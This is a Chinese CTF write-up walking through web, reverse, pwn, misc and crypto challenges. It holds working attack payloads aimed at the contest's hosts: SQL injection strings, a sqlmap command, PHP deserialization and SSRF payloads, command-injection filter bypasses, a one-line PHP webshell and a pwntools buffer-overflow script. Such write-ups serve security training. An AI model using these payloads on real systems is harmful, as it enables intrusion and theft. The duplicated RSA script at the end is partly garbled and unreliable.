第二届信安大挑战wp
web
real_checkin
f12获得
upload&include
根据源码提示,是文件上传+文件包含
直接用php伪协议读源码
?file=filter://read=convert.base64-encode/resource=index.php
额,读不了,改后缀名也过不了,那直接制作图片马,这里因为刚做完二次渲染的题,上传图片马再直接包含得到webshell
checkin_http
涉及到的知识点:get和post传参,referer是指明网页从哪跳转,cookie是网页登录的状态和身份验证,user-agent指明用何种浏览器访问网页
最后的request包:
POST /?flag=1 HTTP/1.1
Host: 67a3c31e-85a5-460c-9d12-4653383b9bf9.node.dino209.cn
User-Agent: Dino
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
referer:http://ctf.dino209.cn
Cookie: admin=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
easy_rce
过滤管道符,用%0a绕过;过滤根目录,那就cd …一层一层剥咯;过滤空格,${IFS}替换;过滤cat flag,用反斜杠绕过
其实我这道题最不理解的是为什么这个功能是ping ip为啥ping不通ip
easy_md5
md5弱类型比较绕过
源码:
<?php
highlight_file(__FILE__);
if(isset($_POST['a']) and isset($_POST['b'])){
if($_POST['a']!=$_POST['b']){
if (md5($_POST['a']) == md5($_POST['b']))
echo eval(system('cat /flag'));
else
echo 'you are wrong';
}
else
echo "请输入不同的a,b值";
}
else
echo "请输入a,b值";
`请输入a,b值
md5不能md5数组,会返回false,比较就会成功,所以post传参
payload:a[]=1&b[]=2
easy_unser
<?php
class ReadFile
{
public $filename = 'fake_flag.txt';
public function __destruct()
{
echo '__destruct read '.$this->filename.'file.<br />';
$file = file_get_contents(dirname(__FILE__).'/'.$this->filename);
echo $file;
}
}
highlight_file('index.php');
$usr = unserialize($_GET['usr']);
?>
没有这里反序列化利用__destruct魔术方法里的file_get_contents来读文件
payload:http://2ce09c09-fa21-4a56-a706-1788a279de8d.node.dino209.cn?usr=O:8:"ReadFile":1:{s:8:"filename";s:16:"../../../../flag";}
利用…/的相对路径方法读文件
apple官网
webshell就挂在网页上,就是不知道为啥蚁剑连不上,菜刀也连不上,奇奇怪怪
payload:http://e5de5780-b938-4995-a6ac-8bac6ca47113.node.dino209.cn?hacker=system('cat /flag');
login
根据题意管理员忘记了密码,那先试试万能密码
payload:?username=1&password=1' or '1'='1
拿到flag,就是不知道为什么这条payload:?username=1&password=1' or '1'='1'%23
要报错,可能除开查询外这条语句还有其他的功能吧
login2.0
题目说什么喜欢把两个鸡蛋放同一个篮子里,写wp的时候看到意思好像是联合注入。
payload1:http://4ce83b79-b525-4003-81e2-103f91d0699a.node.dino209.cn/?username=zhao&password=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
payload2:http://4ce83b79-b525-4003-81e2-103f91d0699a.node.dino209.cn/?username=zhao&password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="f14g"%23
payload3:http://4ce83b79-b525-4003-81e2-103f91d0699a.node.dino209.cn/?username=zhao&password=1' union select 1,2,f14g from sqli.f14g%23
查库,查表,查字段,查数据,一步一步来
EDG给爷冲
赵信管理员具有备份网站的好习惯,好到www.zip
泄露
www.zip
读到网站关键源码如下:
<?php
function Dino($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
}
if (isset($_GET['url'])) {
Dino($_GET['url']);
}
标准ssrf,payloda:http://3cf2a8b0-93f0-45e1-8959-e2096067bf81.node.dino209.cn?url=file:///flag
shopping
找到登录页面,截包,sqlmap一把梭
shop2.0
空格 union被过滤,用报错注入,但是好像extractvalue和uptadexml也被过滤了,不管了,直接上sqlmap
payload:python sqlmap.py -u "![]()http://0ba7444d-d812-483b-9432-10c43da8a93e.node.dino209.cn/login.php" --data="username='='&password='='" -tamper ![]()space2comment.py --dump
upload_twice_img
绕过二次渲染,直接上传防二次渲染的图片马然后用蚁剑连就行了,这里介绍图片马的来源及制作链接,来自协会的一篇博客http://cdutsec.gitee.io/blog/2020/04/20/file-upload/
介绍了文件上传的各种绕过方式,还有制作好可以直接拿来用的图片好,好极了
null_rce
上源码:
`<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>`
过滤了数字和字母,那想用普通的命令执行是不行了,这里需要用到无数字字母的命令执行。
payload的构造有取反,异或等方式,需要注意的是,服务器的php版本为php7.2,在这个版本,assert早已经不能调用系统命令。直接使用()()来调用system也可以,介绍一下间接调用system的方式
call_user_func(,)把第一个参数作为回调函数使用,利用call_user_func(system,cat /flag,’’)的形式来注入
normal_unser
源码如下:
<?php
Class SoFun{
protected $file = "index.php";
public function __construct($file){
$this->file = $file;
}
function __destruct(){
if(!empty($this->file)){
if(strchr($this->file,"\")==false && strchr($this->file,'/')==false){
show_source(dirname(__FILE__).'/'.$this->file);
}else{
die("Wrong filename");
}
}
}
function __wakeup(){
$this->file='index.php';
}
public function __toString(){
return '';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}else{
$file = base64_decode($_GET['file']);
echo unserialize($file);
}
// key in flag.php
可以看到__wakeup魔术方法把反序列化输入的file属性又给覆盖为index.php了,为了不被覆盖,反序列化时使属性大于原类的属性个数就不会执行wakeup
payload:?O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
upload_zip
phar
先写一句话马,改后缀为jpg,再压缩,再改为jpg以上传,再用phar把压缩内容以php的形式读出
famliy_md5
<?php
include('flag.php');
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$a = $_GET['a'];
$b = $_GET['b'];
highlight_file(__FILE__);
if(isset($_POST['aa']) and isset($_POST['bb'])){
if($_POST['aa']!=$_POST['bb']){
if (md5($_POST['aa']) == md5($_POST['bb'])){
if (isset($a) && isset($b)) {
if ($a != $b && 0 == md5(md5($b))){
if(substr(md5($_GET['c']),0,5)=='9331c'){
if(!is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo $flag;
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
}
} else {
echo "wrong!";
}
} else {
echo 'wrong!!!!';
}
}
else
echo 'you are wrong';
}
else
echo "请输入不同的a,b值";
}
else
echo "请输入a,b值";
请输入a,b值
从if开始,一层一层分析,先是aa和bb的弱类型比较,可以传两个数组,也可以传两个md5之后以0e开头,post传参,传入aa=QNKCDZO&BB=AABG7XSs
然后下一层,md5(md5($b))==0,也就是b经过两次md5后结果要以0开头,也就是以0e开头,百度查到b=V5VDSHva7fjyJoJ33IQI
,a!=b,随便传一个就行了
下面要使md5©的前五位要是9331c,是md5的截断比较,需要用到彩虹表
脚本如下:
from multiprocessing.dummy import Pool as tp
import hashlib
knownMd5 = '9331c'
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:5] == knownMd5:
print code
break
list=[]
for i in range(3): #这里的range(number)指爆破出多少结果停止
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()
得到c可能的三个取值为21175023,1916798,12032937
,随便拿一个
下一个,要使a和b为数字,介绍一下strtr函数,把前面的字符替换成后面的字符(不是字符串),只要找到md5后开头为ce的原值就行了,借用百度跑出来的结果:
str1=9427417&str2=QNKCDZO
然后传参,ok!
这不给我整个🐎?
<?php
highlight_file(__FILE__);
error_reporting(0);
$upload = 'upload/';
if (isset($_POST['file'])) {
if (preg_match('/htaccess/is', $_POST['file'])) {
die('?搁这儿干嘛呢?');
}
if (preg_match('#\w{2,}|[678]|<?|/#', $_POST['content'])) {
die('你这🐎保绿吗???');
}
file_put_contents($upload . $_POST['file'], $_POST['content']);
}
这道写马,不知道是我蚁剑有问题还是啥,写了马连半年连不上,手注又因为disable_function几乎把所有的执行系统命令的函数禁掉了,system,exec,shell_exec,passthru,连mail都被禁了。一怒之下使用highlight才查到flag,后来用同学的蚁剑一下就连上了,我哭了
涉及到的知识点有数组绕过正则匹配,file_put_contents存在漏洞,能直接把数组当成字符串写入文件
payload:file=1.php&content[]=c=<?php $a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };highlight_file("/flag");?>
循环遍历根目录,查找为flag的文件,如果flag不是以flag命名的,那这道题直接裂开
fake_news
进去就是phpinfo,可以看到php版本为8.1dev
通过user-agent来命令执行,直接看别人的详细博客吧
https://www.jianshu.com/p/d0576ee19791
easy_cms
蝉知7.7漏洞,别人的详细博客:
https://www.cnblogs.com/vnknow/p/15114578.html
reverse
IDA的打开与关闭
ida64打开shift+f12看到flag
f12
打开文件tab看到伪代码,其中main函数内对假的flag进行了字符替换,把ascii码为83和115的给替换成5,得到最后的flag:dino{tHi5_I5_FlaG}
我很异或
ida打开i后看见的关键代码:
关键字F8y[lUk<2_C
,可以看到,key=flagv(10-20)+1,异或还有个特征,就是如果a=cb,那么也存在b=ac,那么,手算也行,写脚本也行,我人傻,手算的,flag=(key-1)v(10-20),逐位异或
flag:dino{thI5_15_X0r}
自由的弗拉格
为这道题我还专门去装了个macos的虚拟机。。macos打开直接就能看到flag,截个图吧,看看船新版本的macos
干翻蟒蛇
pyc反编译后的关键代码:
for i in range(l):
key=((ord(flag[i])+i)%128+128)%128
code+=chr(key)
code=list(code)
if code[:] !=txt[:]:
print(u'\u9519\u8bef')
递增取模得到flag,那逆向就递减,按位递减取模
84, 105, 107, 118, 99, 54, 89, 102, 77, 106, 63, 4, 113, 101, 115
逐位递减转字符得到flag:dino{This_1S_Ea5yeXe}
pwn
网络猫咪
nc连接,nc ip 端口,然后直接执行系统命令ls ;cat /flag
RIP
标准栈溢出,gets从1到F,一共16个字节,那用16个a去填充,因为是64位的程序,所以+8,开始的位置在0x401186,+1是为了栈堆平衡,好像是buu的原题
放下payload:
from pwn import *
p = remote("ctf.dino209.cn",9137)
payload= b'a' * (0xf + 8) + p64(0x401186+1)
p.sendline(payload)
p.sendline('cat flag')
p.interactive()
#gdb
misc
checkin
观察文件名,galf,flag的倒序,试一下倒序,得到flag
勇士斗恶龙
用stegsolve打开,一帧一帧的放,看到有两帧图片中间有字,拼接得到flag
challenge_1
网址:http://330k.github.io/misc_tools/unicode_steganography.html
零宽字符
Audacity的打开与关闭
用audacity打开,看频谱图,吐了啊,这能看出个屁啊,后来看到hint才把频率调到最高,也就是24000hz,顶上看见flag
虚拟机的开机与关机
这个就用vmware打开cat flag就行了啊,没啥其他的操作
dddd
blockchain
区块链交易记录查询网址:https://teth.bitaps.com
锁定到犯罪嫌疑人X 0xe40d749510e6DB989839b323B73f87De50Ff104f的第一笔收款交易,打款人的账户就是flag
crypto
crypto 1
本次比赛 最 最 最 最折磨人的一道题,天知道这道题的出题人是怎么认为我们有这种脑洞的,后来放出hint才有得做,在恐龙的前后分别是emoij+aes和base100
emoij+aes解密网址:https://zrt.io/2020/03/emoji-aes/
crypto 2
仿射密码,在线网址:https://wtool.com.cn/affine.html
crypto 3
社会主义核心价值观编码,百度一下,你就知道
crypto 4
与熊论道:http://hi.pcmoe.net/
新佛曰加密:http://hi.pcmoe.net/buddha.html
flag:dino{Nam0_Amit3bha_Buddha}
梭一把
base64…base64…base64,解到不能解为止,然后base32,再转ascii
AES的加密与解密
加入一句print(a.encrypt(pad(flag)))不就行了,别人都把unpad写好了
RSA1
已知c,p,q,e求m
import libnum
from Crypto.Util.number import long_to_bytes
c = 0x188b27bd2ae3da15ff2103fc86bcfd1691f64226c588e35fd19795c4086270acbc6b5a005a69b795a80e60ec8a3028711152b37e85a45dd8f8ac3f879d6e0c417f8fd913ae9b01082b0334768424671825cf6dc6808742289ec8bd43606e5076204c2e5d499b349954e07f2931878ea52d1ce8810388f6354e57bf83ea
n = 4461574898153720906280831837506288900939177286146176203786646073621757311224778613942572195593760455983063573878806343522688967036647280856238007129377310864427130961008925223781103111731713204101882436203309180199480347394782584266920805265511438418405102673818869071773717640225796442487874824466921
e = 0x10001
q = 1749696024934065702519983121847428557494976145152769302994750724534018094377569741359683982613534062909535617504787491530675721865409540938509235897013
p = 2549914290581901341214171827751826568578444248803044156900692217651838831391453961099319349818811855923786445036541038986687960441035107848332691762917
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n) # m 的十进制形式
string = long_to_bytes(m) # m明文
print(string) # 结果为 b‘ m ’ 的形式
可怜的flag
密码界的瑞士军刀:https://gchq.github.io/CyberChef
根据hint的magic
brute_force
和上题同理,模式改成xor即可
baby rsa
rsa coppersmith
位运算,已知p,q的高位,来自大神博客脚本
https://www.jianshu.com/p/d8d2ce53041b
rom sage.all_cmdline import * # import sage library
_sage_const_540341563304810547543305707542235696800135945210608675495026649105740307830203676496758821540246401465995018600994168163186192910659972415560771721373496907341043520877797136722087619227237457669935338586590625673696242143228035107631938157263432099549193412009946104977942814964539807608761286648906079792940877861972188567619049463005549852532333354830164549866294320349496892972410054788931729466850336361632021903440629384926828432173475706537851118639473975554704894391075883312216532185728234874849651680599284595265554301702930216055076836865944088430939567590243172944485145425487116613027314187352806705212604943571584770396229757147826920443701729498867368781640407217143139619243666700520069646531517467770326505701819479606479815301049226452173129121254735089488142434959869103222548120464676808657780984107840422368521001173888519767138517917692756124336264201192801527347543880483530520217014467555185864582715221771505659584042448120757214628508118412248357916629380623400083664717275892820769655849123286407768439009760212492202507369364222351810962060691321779502456199804099717498681009974770787830630002690101004078180928884664546341288537811825699441566211488216889046787221216658574161520643814195819834258523868559663268780075436480104146041883277966767555256486173590308835551986128404422094780332508252452788867825255486776922033517803537366353882651584519450733753978475816592844528221358626515160189914280182333857723863592312608804356301893966013763770243703542614903729297575881737919113216061031042701315331891146573830574671755699601792395360566471728791987232401169182434227389828239636695005096603936188855362692684975621653353181754100541120475920450549952284281404099428525678051756772847264951147581667935169518533458616548995299837108222418904556485636688845489239984229917230737514132890203753510394273744606279124474934596961945049302610202649441669322441648067369675857779243125432878422802034247011658011846194412644664211114458070162182921625984382068745554362839874163774231000345367250297433851375011478757945745309452490724863081876229348524271412877788623125208995727881462218369257249700108645045179997388622685194415808118596701095441795074311688864793947334791674647972949533435478765712354208692480669464771649098568383008535833648801653110152020318961072065525738885352767212958592807940748463452474461685300605315229707863288777256925363490927195298776513274244731701487512162688865953816579940723796388989231285177 = Integer(540341563304810547543305707542235696800135945210608675495026649105740307830203676496758821540246401465995018600994168163186192910659972415560771721373496907341043520877797136722087619227237457669935338586590625673696242143228035107631938157263432099549193412009946104977942814964539807608761286648906079792940877861972188567619049463005549852532333354830164549866294320349496892972410054788931729466850336361632021903440629384926828432173475706537851118639473975554704894391075883312216532185728234874849651680599284595265554301702930216055076836865944088430939567590243172944485145425487116613027314187352806705212604943571584770396229757147826920443701729498867368781640407217143139619243666700520069646531517467770326505701819479606479815301049226452173129121254735089488142434959869103222548120464676808657780984107840422368521001173888519767138517917692756124336264201192801527347543880483530520217014467555185864582715221771505659584042448120757214628508118412248357916629380623400083664717275892820769655849123286407768439009760212492202507369364222351810962060691321779502456199804099717498681009974770787830630002690101004078180928884664546341288537811825699441566211488216889046787221216658574161520643814195819834258523868559663268780075436480104146041883277966767555256486173590308835551986128404422094780332508252452788867825255486776922033517803537366353882651584519450733753978475816592844528221358626515160189914280182333857723863592312608804356301893966013763770243703542614903729297575881737919113216061031042701315331891146573830574671755699601792395360566471728791987232401169182434227389828239636695005096603936188855362692684975621653353181754100541120475920450549952284281404099428525678051756772847264951147581667935169518533458616548995299837108222418904556485636688845489239984229917230737514132890203753510394273744606279124474934596961945049302610202649441669322441648067369675857779243125432878422802034247011658011846194412644664211114458070162182921625984382068745554362839874163774231000345367250297433851375011478757945745309452490724863081876229348524271412877788623125208995727881462218369257249700108645045179997388622685194415808118596701095441795074311688864793947334791674647972949533435478765712354208692480669464771649098568383008535833648801653110152020318961072065525738885352767212958592807940748463452474461685300605315229707863288777256925363490927195298776513274244731701487512162688865953816579940723796388989231285177); _sage_const_5241201968808921134050173130040378757426232727802944306993244090116856319729675333010491597025033549677577428391708089946365181918677750381948177299217863612005496489083630454644907765127729605810355978380718127605478222783304444951074287475240738482790383145302683962978576199882895047538401165860272174228216018787699068047546112417473801560056179997110716341538924861763734955594593461435160603527271137712188541234023603108410904013642107118951540239185894305821838675275882918647026835743176562814242275870369892928588389982745780984048116072379476352478770136145616501201949178841742382897830380370758981395839514440689179335513170355443356870893583436817582644709311036956127415480402476741498936817075522071992782136900215478337553394100679854753889023083540167759140348506456257811069803399547995952468257926373315718910639764764232215926808969594411785550344830069052123790136787131013417463367708174380965498190778 = Integer(5241201968808921134050173130040378757426232727802944306993244090116856319729675333010491597025033549677577428391708089946365181918677750381948177299217863612005496489083630454644907765127729605810355978380718127605478222783304444951074287475240738482790383145302683962978576199882895047538401165860272174228216018787699068047546112417473801560056179997110716341538924861763734955594593461435160603527271137712188541234023603108410904013642107118951540239185894305821838675275882918647026835743176562814242275870369892928588389982745780984048116072379476352478770136145616501201949178841742382897830380370758981395839514440689179335513170355443356870893583436817582644709311036956127415480402476741498936817075522071992782136900215478337553394100679854753889023083540167759140348506456257811069803399547995952468257926373315718910639764764232215926808969594411785550344830069052123790136787131013417463367708174380965498190778); _sage_const_51148537103582623316322387690063206004322377803743652867952085700235367350868274448889435381452150372990406589438895456461757151708670463119540205674566192305779791975323204573927510877843620958799344497109457307730973835039740357354114412037950852724132888094214901664804858530498046484579602576269412743769980532023136798130035106175194544336465024170035508147754760086689651035420613391092427796659741204218286202314129012405426011568271753699175922411768568975182694617666426831115583611387362120398820593189399540981153453076140540378449903815772716721078000034699985256889869665031670391209429293006430111236039345078186418359242635851122705197870090889307511597141534109311749542050335849724292654146706274806738761660095396446730422393282269659598277782005705903662984263149478612533483352420358693300844645504621051309731070212408453192425765424343005982747766203354982965055961773439357183485022245031205651415781107594013536142801473891274891576268791929912422982382717012702629535602836957534294088675144517046383672454425565697055355161286601759239186666806214300958091126323291646466230316730767098031901103376600071728713340397490610925218897036066818608030007540381001714791880756440134136267699319217458108260652676536618030246433287966371789422361402143566023908890566783428953974676555662749465956479812233601697368192477445581586549010751606919251502951926204508560878576553390027253380057777329399327071884905360811685120051177278988713580267860613354904920673660962255994369200496447544405452462069668907662075428038852253765984174097981709896879861611646176309051553067356210710335912059188285991298824597248693350004744200325165859773812662176439241129119717127093617495480059951946744996396351397704211516086012228124830375996748469692508730932038761080926194671354784516672104984064509982777975848131383898844144389972119213676107794736949219126439698560402071032331010154108162435858559765430080332325146984146901410840230738841776791176953241879575735755962677209402835695864301275249366672411382569419983733992496064847980035994070418158732318908345956174775999021963008283246011468178818498361760670440830791397412394927302801193656186084445592491632063543894824731685196725230768019150142315993896881786179270888072579744580512656533264180898474551267279476924836222570746466164094354105723349279059752462825906752189107217757626102137685139111194239137140535393309468412366539945174005436555111880116203207348311952802627923673018900 = Integer(51148537103582623316322387690063206004322377803743652867952085700235367350868274448889435381452150372990406589438895456461757151708670463119540205674566192305779791975323204573927510877843620958799344497109457307730973835039740357354114412037950852724132888094214901664804858530498046484579602576269412743769980532023136798130035106175194544336465024170035508147754760086689651035420613391092427796659741204218286202314129012405426011568271753699175922411768568975182694617666426831115583611387362120398820593189399540981153453076140540378449903815772716721078000034699985256889869665031670391209429293006430111236039345078186418359242635851122705197870090889307511597141534109311749542050335849724292654146706274806738761660095396446730422393282269659598277782005705903662984263149478612533483352420358693300844645504621051309731070212408453192425765424343005982747766203354982965055961773439357183485022245031205651415781107594013536142801473891274891576268791929912422982382717012702629535602836957534294088675144517046383672454425565697055355161286601759239186666806214300958091126323291646466230316730767098031901103376600071728713340397490610925218897036066818608030007540381001714791880756440134136267699319217458108260652676536618030246433287966371789422361402143566023908890566783428953974676555662749465956479812233601697368192477445581586549010751606919251502951926204508560878576553390027253380057777329399327071884905360811685120051177278988713580267860613354904920673660962255994369200496447544405452462069668907662075428038852253765984174097981709896879861611646176309051553067356210710335912059188285991298824597248693350004744200325165859773812662176439241129119717127093617495480059951946744996396351397704211516086012228124830375996748469692508730932038761080926194671354784516672104984064509982777975848131383898844144389972119213676107794736949219126439698560402071032331010154108162435858559765430080332325146984146901410840230738841776791176953241879575735755962677209402835695864301275249366672411382569419983733992496064847980035994070418158732318908345956174775999021963008283246011468178818498361760670440830791397412394927302801193656186084445592491632063543894824731685196725230768019150142315993896881786179270888072579744580512656533264180898474551267279476924836222570746466164094354105723349279059752462825906752189107217757626102137685139111194239137140535393309468412366539945174005436555111880116203207348311952802627923673018900); _sage_const_65537 = Integer(65537); _sage_const_4096 = Integer(4096); _sage_const_2 = Integer(2); _sage_const_0p4 = RealNumber('0.4'); _sage_const_0 = Integer(0); _sage_const_1 = Integer(1)
from sage.all import *
import binascii
n = _sage_const_540341563304810547543305707542235696800135945210608675495026649105740307830203676496758821540246401465995018600994168163186192910659972415560771721373496907341043520877797136722087619227237457669935338586590625673696242143228035107631938157263432099549193412009946104977942814964539807608761286648906079792940877861972188567619049463005549852532333354830164549866294320349496892972410054788931729466850336361632021903440629384926828432173475706537851118639473975554704894391075883312216532185728234874849651680599284595265554301702930216055076836865944088430939567590243172944485145425487116613027314187352806705212604943571584770396229757147826920443701729498867368781640407217143139619243666700520069646531517467770326505701819479606479815301049226452173129121254735089488142434959869103222548120464676808657780984107840422368521001173888519767138517917692756124336264201192801527347543880483530520217014467555185864582715221771505659584042448120757214628508118412248357916629380623400083664717275892820769655849123286407768439009760212492202507369364222351810962060691321779502456199804099717498681009974770787830630002690101004078180928884664546341288537811825699441566211488216889046787221216658574161520643814195819834258523868559663268780075436480104146041883277966767555256486173590308835551986128404422094780332508252452788867825255486776922033517803537366353882651584519450733753978475816592844528221358626515160189914280182333857723863592312608804356301893966013763770243703542614903729297575881737919113216061031042701315331891146573830574671755699601792395360566471728791987232401169182434227389828239636695005096603936188855362692684975621653353181754100541120475920450549952284281404099428525678051756772847264951147581667935169518533458616548995299837108222418904556485636688845489239984229917230737514132890203753510394273744606279124474934596961945049302610202649441669322441648067369675857779243125432878422802034247011658011846194412644664211114458070162182921625984382068745554362839874163774231000345367250297433851375011478757945745309452490724863081876229348524271412877788623125208995727881462218369257249700108645045179997388622685194415808118596701095441795074311688864793947334791674647972949533435478765712354208692480669464771649098568383008535833648801653110152020318961072065525738885352767212958592807940748463452474461685300605315229707863288777256925363490927195298776513274244731701487512162688865953816579940723796388989231285177 # 此处为16进制数
p4 =_sage_const_5241201968808921134050173130040378757426232727802944306993244090116856319729675333010491597025033549677577428391708089946365181918677750381948177299217863612005496489083630454644907765127729605810355978380718127605478222783304444951074287475240738482790383145302683962978576199882895047538401165860272174228216018787699068047546112417473801560056179997110716341538924861763734955594593461435160603527271137712188541234023603108410904013642107118951540239185894305821838675275882918647026835743176562814242275870369892928588389982745780984048116072379476352478770136145616501201949178841742382897830380370758981395839514440689179335513170355443356870893583436817582644709311036956127415480402476741498936817075522071992782136900215478337553394100679854753889023083540167759140348506456257811069803399547995952468257926373315718910639764764232215926808969594411785550344830069052123790136787131013417463367708174380965498190778 #p的高位 16进制
cipher = _sage_const_51148537103582623316322387690063206004322377803743652867952085700235367350868274448889435381452150372990406589438895456461757151708670463119540205674566192305779791975323204573927510877843620958799344497109457307730973835039740357354114412037950852724132888094214901664804858530498046484579602576269412743769980532023136798130035106175194544336465024170035508147754760086689651035420613391092427796659741204218286202314129012405426011568271753699175922411768568975182694617666426831115583611387362120398820593189399540981153453076140540378449903815772716721078000034699985256889869665031670391209429293006430111236039345078186418359242635851122705197870090889307511597141534109311749542050335849724292654146706274806738761660095396446730422393282269659598277782005705903662984263149478612533483352420358693300844645504621051309731070212408453192425765424343005982747766203354982965055961773439357183485022245031205651415781107594013536142801473891274891576268791929912422982382717012702629535602836957534294088675144517046383672454425565697055355161286601759239186666806214300958091126323291646466230316730767098031901103376600071728713340397490610925218897036066818608030007540381001714791880756440134136267699319217458108260652676536618030246433287966371789422361402143566023908890566783428953974676555662749465956479812233601697368192477445581586549010751606919251502951926204508560878576553390027253380057777329399327071884905360811685120051177278988713580267860613354904920673660962255994369200496447544405452462069668907662075428038852253765984174097981709896879861611646176309051553067356210710335912059188285991298824597248693350004744200325165859773812662176439241129119717127093617495480059951946744996396351397704211516086012228124830375996748469692508730932038761080926194671354784516672104984064509982777975848131383898844144389972119213676107794736949219126439698560402071032331010154108162435858559765430080332325146984146901410840230738841776791176953241879575735755962677209402835695864301275249366672411382569419983733992496064847980035994070418158732318908345956174775999021963008283246011468178818498361760670440830791397412394927302801193656186084445592491632063543894824731685196725230768019150142315993896881786179270888072579744580512656533264180898474551267279476924836222570746466164094354105723349279059752462825906752189107217757626102137685139111194239137140535393309468412366539945174005436555111880116203207348311952802627923673018900
e2 = _sage_const_65537
pbits = _sage_const_4096
kbits = pbits - p4.nbits()
print (p4.nbits())
p4 = p4 << kbits
PR = PolynomialRing(Zmod(n), names=('x',)); (x,) = PR._first_ngens(1)
f = x + p4
roots = f.small_roots(X=_sage_const_2 **kbits, beta=_sage_const_0p4 )
if roots:
p = p4+int(roots[_sage_const_0 ])
print ("p: ", hex(int(p)))
assert n % p == _sage_const_0
q = n/int(p)
print ("q: ", hex(int(q)))
print (gcd(p,q))
phin = (p-_sage_const_1 )*(q-_sage_const_1 )
print (gcd(e2,phin))
d = inverse_mod(e2,phin)
flag = pow(cipher,d,n)
flag = hex(int(flag))[_sage_const_2 :-_sage_const_1 ]
print (binascii.unhexlify(flag))
p4 << kbits
PR = PolynomialRing(Zmod(n), names=(‘x’,)); (x,) = PR._first_ngens(1)
f = x + p4
roots = f.small_roots(X=_sage_const_2 **kbits, beta=_sage_const_0p4 )
if roots:
p = p4+int(roots[_sage_const_0 ])
print ("p: ", hex(int§))
assert n % p == _sage_const_0
q = n/int§
print ("q: ", hex(int(q)))
print (gcd(p,q))
phin = (p-_sage_const_1 )*(q-_sage_const_1 )
print (gcd(e2,phin))
d = inverse_mod(e2,phin)
flag = pow(cipher,d,n)
flag = hex(int(flag))[_sage_const_2 :-_sage_const_1 ]
print (binascii.unhexlify(flag))
已经一点了,肝不住了